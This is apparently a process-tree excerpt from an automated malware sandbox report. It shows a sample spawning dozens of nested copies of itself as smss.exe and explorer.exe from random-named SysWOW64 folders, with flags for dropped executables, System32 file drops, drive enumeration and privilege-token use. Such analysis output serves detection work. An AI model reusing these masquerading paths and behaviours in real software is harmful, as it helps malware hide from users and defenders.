C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:12384
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:14636
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:16392
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe18⤵PID:20468
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe17⤵PID:18588
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe16⤵PID:16788
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:18924
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe15⤵PID:15264
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:16900
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19160
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe14⤵PID:13832
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15356
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17244
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19332
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe13⤵PID:12296
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13824
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:5940
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17292
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19320
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe12⤵PID:11200
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12452
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:14200
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15708
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe11⤵PID:4984
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11164
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12444
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13376
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:16040
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe10⤵PID:9296
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10224
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:3828
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12416
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:14176
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15796
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe8⤵
- Executes dropped EXE
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
PID:4476 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3088 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3884 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:1300
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:3044
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵
- Enumerates connected drives
PID:5252 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵
- Drops file in System32 directory
PID:5628 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵
- Drops file in System32 directory
PID:5968 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:5548
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:3408
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe18⤵PID:6380
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe19⤵PID:6808
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe20⤵PID:1512
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe21⤵
- Drops file in System32 directory
PID:7348 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe22⤵
- Enumerates connected drives
PID:8060 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe23⤵PID:8388
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵PID:8484
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:9944
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10796
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11808
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:13164
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:14520
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:16296
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe17⤵PID:18616
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe16⤵PID:16848
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:18876
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe15⤵PID:5892
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17184
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19536
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe14⤵PID:13952
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15408
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe13⤵PID:12496
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:14168
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15460
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe12⤵PID:11300
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12536
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:5416
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15688
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17500
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19472
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe11⤵PID:4224
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11084
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12552
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13368
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15696
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe10⤵PID:9400
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10264
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11316
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12728
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13456
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:16064
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17816
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe9⤵PID:8684
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵PID:9288
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:9644
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11336
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12612
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:14268
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15840
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1984 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:928 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:2172 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:4064 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵
- Drops file in System32 directory
PID:4420 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵
- Drops file in System32 directory
PID:1856 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:5268
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵
- Drops file in System32 directory
PID:5652 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:6008
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵
- Enumerates connected drives
PID:5716 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:6140
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe18⤵
- Enumerates connected drives
PID:6420 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe19⤵PID:6856
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe20⤵PID:6948
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe21⤵
- Drops file in System32 directory
PID:7380 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe22⤵PID:8108
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe23⤵PID:8436
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵PID:8568
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:9992
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10864
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11968
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:13220
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:14596
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:16304
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe31⤵PID:18188
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe32⤵PID:20388
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe17⤵PID:18744
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe16⤵PID:17032
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19152
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe15⤵PID:6036
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17300
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19340
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe14⤵PID:14100
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15528
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:5724
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19420
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe13⤵PID:12600
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:14228
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15560
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe12⤵PID:11404
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12628
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:14328
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15724
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe11⤵PID:10320
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11580
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12828
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:5640
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15988
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17964
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:6172
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe10⤵PID:9476
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10364
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11548
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12904
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:14356
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:16136
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe9⤵PID:8792
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵PID:9456
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10296
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11348
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12868
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:14216
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:16328
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:18856
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe8⤵
- Enumerates connected drives
PID:4992 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵PID:8776
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵PID:9424
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10356
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11456
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12912
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13744
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:16112
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2356 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2228 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:852 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3464 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4572 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵
- Drops file in System32 directory
PID:1988 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:3460
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:5216
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:5580
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:5932
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:5396
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:5692
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe18⤵PID:6348
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe19⤵
- Enumerates connected drives
PID:6788 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe20⤵PID:6824
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe21⤵
- Drops file in System32 directory
PID:7312 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe22⤵PID:8020
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe23⤵PID:8400
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵PID:2864
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:9980
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10840
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11860
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:13108
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:14504
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:16220
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe31⤵PID:18440
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe18⤵PID:20508
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe17⤵PID:18648
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe16⤵PID:16860
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:18868
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe15⤵PID:1128
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17048
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19136
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe14⤵PID:13848
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15008
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe13⤵PID:12348
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13996
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15436
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe12⤵PID:11168
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12460
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:14024
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15492
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:5764
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19432
